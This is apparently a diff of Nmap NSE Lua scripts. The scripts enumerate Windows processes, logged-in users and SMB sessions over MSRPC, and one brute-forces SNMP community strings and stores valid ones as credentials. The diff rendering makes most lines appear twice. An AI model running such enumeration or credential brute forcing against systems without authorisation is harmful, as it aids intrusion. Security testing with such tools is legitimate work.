end
-- Decide connector for process.
if #list == 1 then
mode = "only"
elseif i == 1 then
mode = "first"
elseif i < #list then
mode = "middle"
else
mode = "last"
end
return mode
return mode
end
function psl_print (psl, lvl)
-- Print out table header.
local result = ""
if lvl == 2 then
result = result .. " PID PPID Priority Threads Handles\n"
result = result .. "----- ----- -------- ------- -------\n"
end
-- Print out table header.
local result = ""
if lvl == 2 then
result = result .. " PID PPID Priority Threads Handles\n"
result = result .. "----- ----- -------- ------- -------\n"
end
-- Find how many root processes there are.
local roots = {}
for i, ps in pairs(psl) do
if psl[ps.ppid] == nil or ps.ppid == ps.pid then
table.insert(roots, i)
end
end
table.sort(roots)
-- Find how many root processes there are.
local roots = {}
for i, ps in pairs(psl) do
if psl[ps.ppid] == nil or ps.ppid == ps.pid then
table.insert(roots, i)
end
end
table.sort(roots)
-- Create vertical sibling bars.
local bars = {}
if #roots ~= 1 then
table.insert(bars, 2)
end
-- Create vertical sibling bars.
local bars = {}
if #roots ~= 1 then
table.insert(bars, 2)
end
-- Print out each root of the tree.
for i, root in ipairs(roots) do
local mode = psl_mode(roots, i)
result = result .. psl_tree(psl, root, 0, bars, mode, lvl)
end
-- Print out each root of the tree.
for i, root in ipairs(roots) do
local mode = psl_mode(roots, i)
result = result .. psl_tree(psl, root, 0, bars, mode, lvl)
end
return result
return result
end
function psl_tree (psl, pid, column, bars, mode, lvl)
local ps = psl[pid]
local ps = psl[pid]
-- Delete vertical sibling link.
if mode == "last" then
table.remove(bars)
end
-- Delete vertical sibling link.
if mode == "last" then
table.remove(bars)
end
-- Print information table.
local info = ""
if lvl == 2 then
info = info .. string.format("% 5d ", ps.pid)
info = info .. string.format("% 5d ", ps.ppid)
info = info .. string.format("% 8d ", ps.prio)
info = info .. string.format("% 7d ", ps.thrd)
info = info .. string.format("% 7d ", ps.hndl)
end
-- Print information table.
local info = ""
if lvl == 2 then
info = info .. string.format("% 5d ", ps.pid)
info = info .. string.format("% 5d ", ps.ppid)
info = info .. string.format("% 8d ", ps.prio)
info = info .. string.format("% 7d ", ps.thrd)
info = info .. string.format("% 7d ", ps.hndl)
end
-- Print vertical sibling bars.
local prefix = ""
local i = 1
for j = 1, column do
if bars[i] == j then
prefix = prefix .. "|"
i = i + 1
else
prefix = prefix .. " "
end
end
-- Print vertical sibling bars.
local prefix = ""
local i = 1
for j = 1, column do
if bars[i] == j then
prefix = prefix .. "|"
i = i + 1
else
prefix = prefix .. " "
end
end
-- Strings used to separate processes from one another.
local separators = {
first = "`+-";
last = " `-";
middle = " +-";
only = "`-";
}
-- Strings used to separate processes from one another.
local separators = {
first = "`+-";
last = " `-";
middle = " +-";
only = "`-";
}
-- Format process itself.
local result = "\n" .. info .. prefix .. separators[mode] .. ps.name
-- Format process itself.
local result = "\n" .. info .. prefix .. separators[mode] .. ps.name
-- Find children of the process.
local children = {}
for child_pid, child in pairs(psl) do
if child_pid ~= pid and child.ppid == pid then
table.insert(children, child_pid)
end
end
table.sort(children)
-- Find children of the process.
local children = {}
for child_pid, child in pairs(psl) do
if child_pid ~= pid and child.ppid == pid then
table.insert(children, child_pid)
end
end
table.sort(children)
-- Add vertical sibling link between children.
column = column + #separators[mode]
if #children > 1 then
table.insert(bars, column + 2)
end
-- Add vertical sibling link between children.
column = column + #separators[mode]
if #children > 1 then
table.insert(bars, column + 2)
end
-- Format process's children.
for i, pid in ipairs(children) do
local mode = psl_mode(children, i)
result = result .. psl_tree(psl, pid, column, bars, mode, lvl)
end
-- Format process's children.
for i, pid in ipairs(children) do
local mode = psl_mode(children, i)
result = result .. psl_tree(psl, pid, column, bars, mode, lvl)
end
return result
return result
end
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host)
-- Get the process list
local status, result = msrpcperformance.get_performance_data(host, "230")
if status == false then
if nmap.debugging() > 0 then
return "ERROR: " .. result
else
return nil
end
end
-- Get the process list
local status, result = msrpcperformance.get_performance_data(host, "230")
if status == false then
if nmap.debugging() > 0 then
return "ERROR: " .. result
else
return nil
end
end
-- Get the process table
local process = result["Process"]
-- Get the process table
local process = result["Process"]
-- Put the processes into an array, and sort them by pid.
local names = {}
for i, v in pairs(process) do
if i ~= "_Total" then
names[#names + 1] = i
end
end
table.sort(names, function (a, b) return process[a]["ID Process"] < process[b]["ID Process"] end)
-- Put the processes into an array, and sort them by pid.
local names = {}
for i, v in pairs(process) do
if i ~= "_Total" then
names[#names + 1] = i
end
end
table.sort(names, function (a, b) return process[a]["ID Process"] < process[b]["ID Process"] end)
-- Put the processes into an array indexed by pid and with a value equal
-- to the name (so we can look it up easily when we need to).
local process_id = {}
for i, v in pairs(process) do
process_id[v["ID Process"]] = i
end
-- Put the processes into an array indexed by pid and with a value equal
-- to the name (so we can look it up easily when we need to).
local process_id = {}
for i, v in pairs(process) do
process_id[v["ID Process"]] = i
end
-- Fill the process list table.
--
-- Used fields:
-- Creating Process ID
-- Handle Count
-- ID Process
-- Priority Base
-- Thread Count
--
-- Unused fields:
-- % Privileged Time
-- % Processor Time
-- % User Time
-- Elapsed Time
-- IO Data Bytes/sec
-- IO Data Operations/sec
-- IO Other Bytes/sec
-- IO Other Operations/sec
-- IO Read Bytes/sec
-- IO Read Operations/sec
-- IO Write Bytes/sec
-- IO Write Operations/sec
-- Page Faults/sec
-- Page File Bytes
-- Page File Bytes Peak
-- Pool Nonpaged Bytes
-- Pool Paged Bytes
-- Private Bytes
-- Virtual Bytes
-- Virtual Bytes Peak
-- Working Set
-- Working Set Peak
local psl = {}
for i, name in ipairs(names) do
if name ~= "_Total" then
psl[process[name]["ID Process"]] = {
name = name;
pid = process[name]["ID Process"];
ppid = process[name]["Creating Process ID"];
prio = process[name]["Priority Base"];
thrd = process[name]["Thread Count"];
hndl = process[name]["Handle Count"];
}
end
end
-- Fill the process list table.
--
-- Used fields:
-- Creating Process ID
-- Handle Count
-- ID Process
-- Priority Base
-- Thread Count
--
-- Unused fields:
-- % Privileged Time
-- % Processor Time
-- % User Time
-- Elapsed Time
-- IO Data Bytes/sec
-- IO Data Operations/sec
-- IO Other Bytes/sec
-- IO Other Operations/sec
-- IO Read Bytes/sec
-- IO Read Operations/sec
-- IO Write Bytes/sec
-- IO Write Operations/sec
-- Page Faults/sec
-- Page File Bytes
-- Page File Bytes Peak
-- Pool Nonpaged Bytes
-- Pool Paged Bytes
-- Private Bytes
-- Virtual Bytes
-- Virtual Bytes Peak
-- Working Set
-- Working Set Peak
local psl = {}
for i, name in ipairs(names) do
if name ~= "_Total" then
psl[process[name]["ID Process"]] = {
name = name;
pid = process[name]["ID Process"];
ppid = process[name]["Creating Process ID"];
prio = process[name]["Priority Base"];
thrd = process[name]["Thread Count"];
hndl = process[name]["Handle Count"];
}
end
end
-- Produce final output.
local response
if nmap.verbosity() == 0 then
response = "|_ " .. stdnse.strjoin(", ", names)
else
response = "\n" .. psl_print(psl, nmap.verbosity())
end
-- Produce final output.
local response
if nmap.verbosity() == 0 then
response = "|_ " .. stdnse.strjoin(", ", names)
else
response = "\n" .. psl_print(psl, nmap.verbosity())
end
return response
return response
end

View File

@@ -68,7 +68,7 @@ dependencies = {"smb-brute"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail
@@ -78,34 +78,34 @@ end
--@return Status (true or false).
--@return List of sessions (if status is true) or an an error string (if status is false).
local function srvsvc_enum_sessions(host)
local i
local status, smbstate
local bind_result, netsessenum_result
local i
local status, smbstate
local bind_result, netsessenum_result
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Call netsessenum
status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, netsessenum_result
end
-- Call netsessenum
status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, netsessenum_result
end
-- Stop the SMB session
msrpc.stop_smb(smbstate)
-- Stop the SMB session
msrpc.stop_smb(smbstate)
return true, netsessenum_result['ctr']['array']
return true, netsessenum_result['ctr']['array']
end
---Enumerates the users logged in locally (or through terminal services) by using functions
@@ -118,218 +118,218 @@ end
--@return An array of user tables, each with the keys <code>name</code>, <code>domain</code>, and <code>changed_date</code> (representing
-- when they logged in).
local function winreg_enum_rids(host)
local i, j
local elements = {}
local i, j
local elements = {}
-- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
local status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
local status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
-- Loop through the keys under HKEY_USERS and grab the names
i = 0
repeat
local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "")
-- Loop through the keys under HKEY_USERS and grab the names
i = 0
repeat
local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "")
if(status == true) then
local status, openkey_result
if(status == true) then
local status, openkey_result
local element = {}
element['name'] = enumkey_result['name']
local element = {}
element['name'] = enumkey_result['name']
-- To get the time the user logged in, we check the 'Volatile Environment' key
-- This can fail with the 'guest' account due to access restrictions
local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. "\\Volatile Environment")
if(status ~= false) then
local queryinfokey_result, closekey_result
-- To get the time the user logged in, we check the 'Volatile Environment' key
-- This can fail with the 'guest' account due to access restrictions
local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. "\\Volatile Environment")
if(status ~= false) then
local queryinfokey_result, closekey_result
-- Query the info about this key. The response will tell us when the user logged into the server.
local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, queryinfokey_result
end
-- Query the info about this key. The response will tell us when the user logged into the server.
local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, queryinfokey_result
end
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, closekey_result
end
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, closekey_result
end
element['changed_date'] = queryinfokey_result['last_changed_date']
else
-- Getting extra details failed, but we can still handle this
element['changed_date'] = "<unknown>"
end
elements[#elements + 1] = element
end
element['changed_date'] = queryinfokey_result['last_changed_date']
else
-- Getting extra details failed, but we can still handle this
element['changed_date'] = "<unknown>"
end
elements[#elements + 1] = element
end
i = i + 1
until status ~= true
i = i + 1
until status ~= true
local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, closekey_result
end
local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle'])
if(status == false) then
msrpc.stop_smb(smbstate)
return false, closekey_result
end
msrpc.stop_smb(smbstate)
msrpc.stop_smb(smbstate)
-- Start a new SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH)
if(status == false) then
return false, smbstate
end
-- Start a new SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to LSA service
local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Bind to LSA service
local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Get a policy handle
local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openpolicy2_result
end
-- Get a policy handle
local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openpolicy2_result
end
-- Convert the SID to the name of the user
local results = {}
stdnse.print_debug(3, "MSRPC: Found %d SIDs that might be logged in", #elements)
for i = 1, #elements, 1 do
if(elements[i]['name'] ~= nil) then
local sid = elements[i]['name']
if(string.find(sid, "^S%-") ~= nil and string.find(sid, "%-%d+$") ~= nil) then
-- The rid is the last digits before the end of the string
local rid = string.sub(sid, string.find(sid, "%d+$"))
-- Convert the SID to the name of the user
local results = {}
stdnse.print_debug(3, "MSRPC: Found %d SIDs that might be logged in", #elements)
for i = 1, #elements, 1 do
if(elements[i]['name'] ~= nil) then
local sid = elements[i]['name']
if(string.find(sid, "^S%-") ~= nil and string.find(sid, "%-%d+$") ~= nil) then
-- The rid is the last digits before the end of the string
local rid = string.sub(sid, string.find(sid, "%d+$"))
local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']})
local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']})
if(status == false) then
-- It may not succeed, if it doesn't that's ok
stdnse.print_debug(3, "MSRPC: Lookup failed")
else
-- Create the result array
local result = {}
result['changed_date'] = elements[i]['changed_date']
result['rid'] = rid
if(status == false) then
-- It may not succeed, if it doesn't that's ok
stdnse.print_debug(3, "MSRPC: Lookup failed")
else
-- Create the result array
local result = {}
result['changed_date'] = elements[i]['changed_date']
result['rid'] = rid
-- Fill in the result from the response
if(lookupsids2_result['names']['names'][1] == nil) then
result['name'] = "<unknown>"
result['type'] = "<unknown>"
result['domain'] = ""
else
result['name'] = lookupsids2_result['names']['names'][1]['name']
result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
else
result['domain'] = ""
end
end
-- Fill in the result from the response
if(lookupsids2_result['names']['names'][1] == nil) then
result['name'] = "<unknown>"
result['type'] = "<unknown>"
result['domain'] = ""
else
result['name'] = lookupsids2_result['names']['names'][1]['name']
result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
else
result['domain'] = ""
end
end
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
-- Add it to the results
results[#results + 1] = result
end
end
end
end
end
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
-- Add it to the results
results[#results + 1] = result
end
end
end
end
end
-- Close the policy
msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle'])
-- Close the policy
msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle'])
-- Stop the session
msrpc.stop_smb(smbstate)
-- Stop the session
msrpc.stop_smb(smbstate)
return true, results
return true, results
end
--_G.TRACEBACK = TRACEBACK or {}
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
-- TRACEBACK[coroutine.running()] = true;
local response = {}
local response = {}
-- Enumerate the logged in users
local logged_in = {}
local status1, users = winreg_enum_rids(host)
if(status1 == false) then
logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else
logged_in['name'] = "Users logged in"
if(#users == 0) then
table.insert(response, "<nobody>")
else
for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then
table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end
end
end
end
table.insert(response, logged_in)
-- Enumerate the logged in users
local logged_in = {}
local status1, users = winreg_enum_rids(host)
if(status1 == false) then
logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else
logged_in['name'] = "Users logged in"
if(#users == 0) then
table.insert(response, "<nobody>")
else
for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then
table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end
end
end
end
table.insert(response, logged_in)
-- Get the connected sessions
local sessions_output = {}
local status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then
sessions_output['warning'] = "Couldn't enumerate SMB sessions: " .. sessions
else
sessions_output['name'] = "Active SMB sessions"
if(#sessions == 0) then
table.insert(sessions_output, "<none>")
else
-- Format the result
for i = 1, #sessions, 1 do
local time = sessions[i]['time']
if(time == 0) then
time = "[just logged in, it's probably you]"
elseif(time > 60 * 60 * 24) then
time = string.format("%dd%dh%02dm%02ds", time / (60*60*24), (time % (60*60*24)) / 3600, (time % 3600) / 60, time % 60)
elseif(time > 60 * 60) then
time = string.format("%dh%02dm%02ds", time / 3600, (time % 3600) / 60, time % 60)
else
time = string.format("%02dm%02ds", time / 60, time % 60)
end
-- Get the connected sessions
local sessions_output = {}
local status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then
sessions_output['warning'] = "Couldn't enumerate SMB sessions: " .. sessions
else
sessions_output['name'] = "Active SMB sessions"
if(#sessions == 0) then
table.insert(sessions_output, "<none>")
else
-- Format the result
for i = 1, #sessions, 1 do
local time = sessions[i]['time']
if(time == 0) then
time = "[just logged in, it's probably you]"
elseif(time > 60 * 60 * 24) then
time = string.format("%dd%dh%02dm%02ds", time / (60*60*24), (time % (60*60*24)) / 3600, (time % 3600) / 60, time % 60)
elseif(time > 60 * 60) then
time = string.format("%dh%02dm%02ds", time / 3600, (time % 3600) / 60, time % 60)
else
time = string.format("%02dm%02ds", time / 60, time % 60)
end
local idle_time = sessions[i]['idle_time']
if(idle_time == 0) then
idle_time = "[not idle]"
elseif(idle_time > 60 * 60 * 24) then
idle_time = string.format("%dd%dh%02dm%02ds", idle_time / (60*60*24), (idle_time % (60*60*24)) / 3600, (idle_time % 3600) / 60, idle_time % 60)
elseif(idle_time > 60 * 60) then
idle_time = string.format("%dh%02dm%02ds", idle_time / 3600, (idle_time % 3600) / 60, idle_time % 60)
else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end
local idle_time = sessions[i]['idle_time']
if(idle_time == 0) then
idle_time = "[not idle]"
elseif(idle_time > 60 * 60 * 24) then
idle_time = string.format("%dd%dh%02dm%02ds", idle_time / (60*60*24), (idle_time % (60*60*24)) / 3600, (idle_time % 3600) / 60, idle_time % 60)
elseif(idle_time > 60 * 60) then
idle_time = string.format("%dh%02dm%02ds", idle_time / 3600, (idle_time % 3600) / 60, idle_time % 60)
else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end
table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end
end
end
table.insert(response, sessions_output)
table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end
end
end
table.insert(response, sessions_output)
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

File diff suppressed because it is too large Load Diff

View File

@@ -60,234 +60,234 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local communitiestable = {}
local filltable = function(filename, table)
if #table ~= 0 then
return true
end
if #table ~= 0 then
return true
end
local file = io.open(filename, "r")
local file = io.open(filename, "r")
if not file then
return false
end
if not file then
return false
end
for l in file:lines() do
-- Comments takes up a whole line
if not l:match("#!comment:") then
table[#table + 1] = l
end
end
for l in file:lines() do
-- Comments takes up a whole line
if not l:match("#!comment:") then
table[#table + 1] = l
end
end
file:close()
file:close()
return true
return true
end
local closure = function(table)
local i = 1
local i = 1
return function(cmd)
if cmd == "reset" then
i = 1
return
end
local elem = table[i]
if elem then i = i + 1 end
return elem
end
return function(cmd)
if cmd == "reset" then
i = 1
return
end
local elem = table[i]
if elem then i = i + 1 end
return elem
end
end
local communities_raw = function(path)
if not path then
return false, "Cannot find communities list"
end
if not path then
return false, "Cannot find communities list"
end
if not filltable(path, communitiestable) then
return false, "Error parsing communities list"
end
if not filltable(path, communitiestable) then
return false, "Error parsing communities list"
end
return true, closure(communitiestable)
return true, closure(communitiestable)
end
local communities = function()
local communities_file = stdnse.get_script_args('snmp-brute.communitiesdb') or
nmap.fetchfile("nselib/data/snmpcommunities.lst")
local communities_file = stdnse.get_script_args('snmp-brute.communitiesdb') or
nmap.fetchfile("nselib/data/snmpcommunities.lst")
if communities_file then
stdnse.print_debug(1, "%s: Using the %s as the communities file",
SCRIPT_NAME, communities_file)
if communities_file then
stdnse.print_debug(1, "%s: Using the %s as the communities file",
SCRIPT_NAME, communities_file)
local status, iterator = communities_raw(communities_file)
local status, iterator = communities_raw(communities_file)
if not status then
return false, iterator
end
if not status then
return false, iterator
end
local time_limit = unpwdb.timelimit()
local count_limit = 0
local time_limit = unpwdb.timelimit()
local count_limit = 0
if stdnse.get_script_args("unpwdb.passlimit") then
count_limit = tonumber(stdnse.get_script_args("unpwdb.passlimit"))
end
if stdnse.get_script_args("unpwdb.passlimit") then
count_limit = tonumber(stdnse.get_script_args("unpwdb.passlimit"))
end
return true, unpwdb.limited_iterator(iterator, time_limit, count_limit)
else
stdnse.print_debug(1, "%s: Cannot read the communities file, using the nmap username/password database instead",
SCRIPT_NAME)
return true, unpwdb.limited_iterator(iterator, time_limit, count_limit)
else
stdnse.print_debug(1, "%s: Cannot read the communities file, using the nmap username/password database instead",
SCRIPT_NAME)
return unpwdb.passwords()
end
return unpwdb.passwords()
end
end
local send_snmp_queries = function(socket, result, nextcommunity)
local condvar = nmap.condvar(result)
local condvar = nmap.condvar(result)
local request = snmp.buildGetRequest({}, "1.3.6.1.2.1.1.3.0")
local request = snmp.buildGetRequest({}, "1.3.6.1.2.1.1.3.0")
local payload, status, response, err
local community = nextcommunity()
local payload, status, response, err
local community = nextcommunity()
while community do
if result.status == false then
--in case the sniff_snmp_responses thread was shut down
condvar("signal")
return
end
payload = snmp.encode(snmp.buildPacket(request, 0, community))
status, err = socket:send(payload)
if not status then
result.status = false
result.msg = "Could not send SNMP probe"
condvar "signal"
return
end
while community do
if result.status == false then
--in case the sniff_snmp_responses thread was shut down
condvar("signal")
return
end
payload = snmp.encode(snmp.buildPacket(request, 0, community))
status, err = socket:send(payload)
if not status then
result.status = false
result.msg = "Could not send SNMP probe"
condvar "signal"
return
end
community = nextcommunity()
end
community = nextcommunity()
end
result.sent = true
condvar("signal")
result.sent = true
condvar("signal")
end
local sniff_snmp_responses = function(host, port, lport, result)
local condvar = nmap.condvar(result)
local condvar = nmap.condvar(result)
local pcap = nmap.new_socket()
pcap:set_timeout(host.times.timeout * 1000 * 3)
local ip = host.bin_ip_src
ip = string.format("%d.%d.%d.%d",ip:byte(1),ip:byte(2),ip:byte(3),ip:byte(4))
pcap:pcap_open(host.interface, 104, false,"dst host " .. ip .. " and udp and src port 161 and dst port " .. lport)
local pcap = nmap.new_socket()
pcap:set_timeout(host.times.timeout * 1000 * 3)
local ip = host.bin_ip_src
ip = string.format("%d.%d.%d.%d",ip:byte(1),ip:byte(2),ip:byte(3),ip:byte(4))
pcap:pcap_open(host.interface, 104, false,"dst host " .. ip .. " and udp and src port 161 and dst port " .. lport)
-- last_run indicated whether there will be only one more receive
local last_run = false
-- last_run indicated whether there will be only one more receive
local last_run = false
-- receive even when status=false untill all the probes are sent
while true do
local status, plen, l2, l3, _ = pcap:pcap_receive()
-- receive even when status=false untill all the probes are sent
while true do
local status, plen, l2, l3, _ = pcap:pcap_receive()
if status then
local p = packet.Packet:new(l3,#l3)
if not p:udp_parse() then
--shouldn't happen
result.status = false
result.msg = "Wrong type of packet received"
condvar "signal"
return
end
if status then
local p = packet.Packet:new(l3,#l3)
if not p:udp_parse() then
--shouldn't happen
result.status = false
result.msg = "Wrong type of packet received"
condvar "signal"
return
end
local response = p:raw(28, #p.buf)
local res
_, res = snmp.decode(response)
local response = p:raw(28, #p.buf)
local res
_, res = snmp.decode(response)
if type(res) == "table" then
result.communities[ #(result.communities) + 1 ] = res[2]
else
result.status = false
result.msg = "Wrong type of SNMP response received"
condvar "signal"
return
end
else
if last_run then
condvar "signal"
return
else
if result.sent then
last_run = true
end
end
end
end
pcap:close()
condvar "signal"
return
if type(res) == "table" then
result.communities[ #(result.communities) + 1 ] = res[2]
else
result.status = false
result.msg = "Wrong type of SNMP response received"
condvar "signal"
return
end
else
if last_run then
condvar "signal"
return
else
if result.sent then
last_run = true
end
end
end
end
pcap:close()
condvar "signal"
return
end
action = function(host, port)
local status, nextcommunity = communities()
local status, nextcommunity = communities()
if not status then
return "\n ERROR: Failed to read the communities database"
end
if not status then
return "\n ERROR: Failed to read the communities database"
end
local result = {}
local threads = {}
local result = {}
local threads = {}
local condvar = nmap.condvar(result)
local condvar = nmap.condvar(result)
result.sent = false --whether the probes are sent
result.communities = {} -- list of valid community strings
result.msg = "" -- Error/Status msg
result.status = true -- Status (is everything ok)
result.sent = false --whether the probes are sent
result.communities = {} -- list of valid community strings
result.msg = "" -- Error/Status msg
result.status = true -- Status (is everything ok)
local socket = nmap.new_socket("udp")
status = socket:connect(host, port)
local socket = nmap.new_socket("udp")
status = socket:connect(host, port)
if ( not(status) ) then
return "\n ERROR: Failed to connect to server"
end
if ( not(status) ) then
return "\n ERROR: Failed to connect to server"
end
local status, _, lport = socket:get_info()
if( not(status) ) then
return "\n ERROR: Failed to retrieve local port"
end
local status, _, lport = socket:get_info()
if( not(status) ) then
return "\n ERROR: Failed to retrieve local port"
end
local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result)
local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity)
local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result)
local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity)
local recv_dead, send_dead
while true do
condvar "wait"
recv_dead = (coroutine.status(recv_co) == "dead")
send_dead = (coroutine.status(send_co) == "dead")
if recv_dead then break end
end
local recv_dead, send_dead
while true do
condvar "wait"
recv_dead = (coroutine.status(recv_co) == "dead")
send_dead = (coroutine.status(send_co) == "dead")
if recv_dead then break end
end
socket:close()
socket:close()
if result.status then
-- add the community strings to the creds database
local c = creds.Credentials:new(SCRIPT_NAME, host, port)
for _, community_string in ipairs(result.communities) do
c:add("",community_string, creds.State.VALID)
end
if result.status then
-- add the community strings to the creds database
local c = creds.Credentials:new(SCRIPT_NAME, host, port)
for _, community_string in ipairs(result.communities) do
c:add("",community_string, creds.State.VALID)
end
-- insert the first community string as a snmpcommunity registry field
local creds_iter = c:getCredentials()
if creds_iter then
local account = creds_iter()
if account then
if account.pass == "<empty>" then
nmap.registry.snmpcommunity = ""
else
nmap.registry.snmpcommunity = account.pass
end
end
end
-- insert the first community string as a snmpcommunity registry field
local creds_iter = c:getCredentials()
if creds_iter then
local account = creds_iter()
if account then
if account.pass == "<empty>" then
nmap.registry.snmpcommunity = ""
else
nmap.registry.snmpcommunity = account.pass
end
end
end
-- return output
return tostring(c)
else
stdnse.print_debug("An error occured: "..result.msg)
end
-- return output
return tostring(c)
else
stdnse.print_debug("An error occured: "..result.msg)
end
end

View File

@@ -51,14 +51,14 @@ dependencies = {"snmp-brute"}
prerule = function()
if not stdnse.get_script_args({"snmp-interfaces.host", "host"}) then
stdnse.print_debug(3,
"Skipping '%s' %s, 'snmp-interfaces.host' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
if not stdnse.get_script_args({"snmp-interfaces.host", "host"}) then
stdnse.print_debug(3,
"Skipping '%s' %s, 'snmp-interfaces.host' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
return true
return true
end
portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
@@ -68,43 +68,43 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- Available at http://www.iana.org/assignments/ianaiftype-mib
-- REVISION "201002110000Z"
local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "ethernetCsmacd",
"iso88023Csmacd", "iso88024TokenBus", "iso88025TokenRing", "iso88026Man", "starLan",
"proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1",
"basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon",
"ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para",
